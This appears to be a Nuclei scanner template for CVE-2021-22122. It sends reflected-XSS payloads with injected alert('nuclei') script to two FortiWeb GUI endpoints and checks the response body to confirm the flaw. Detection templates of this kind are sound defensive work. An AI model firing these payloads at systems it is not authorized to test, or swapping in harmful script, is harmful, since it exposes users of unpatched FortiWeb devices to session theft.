id: CVE-2021-22122

info:
  name: FortiWeb v6.3.x-6.2.x Unauthenticated XSS
  author: dwisiswant0
  severity: medium
  description: An improper neutralization of input during web page generation in FortiWeb GUI interface 6.3.0 through 6.3.7 and version before 6.2.4 may allow an unauthenticated, remote attacker to perform a reflected cross site scripting attack (XSS) by injecting malicious payload in different vulnerable API end-points.
  reference: |
    - https://www.fortiguard.com/psirt/FG-IR-20-122
    - https://twitter.com/ptswarm/status/1357316793753362433

  tags: cve,cve2021,fortiweb,xss

  # FortiWeb GUI interface may allow an unauthenticated, remote attacker
  # to perform a reflected cross site scripting attack (XSS) by injecting
  # malicious payload in different vulnerable API end-points.
  # -
  # References:
  # - https://www.fortiguard.com/psirt/FG-IR-20-122
  # - https://twitter.com/ptswarm/status/1357316793753362433

requests:
  - method: GET
    path:
      - "{{BaseURL}}/error3?msg=30&data=';alert('nuclei');//"
      - "{{BaseURL}}/omni_success?cmdb_edit_path=\");alert('nuclei');//"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "nuclei"
          - "No policy has been chosen."
        condition: and
        part: body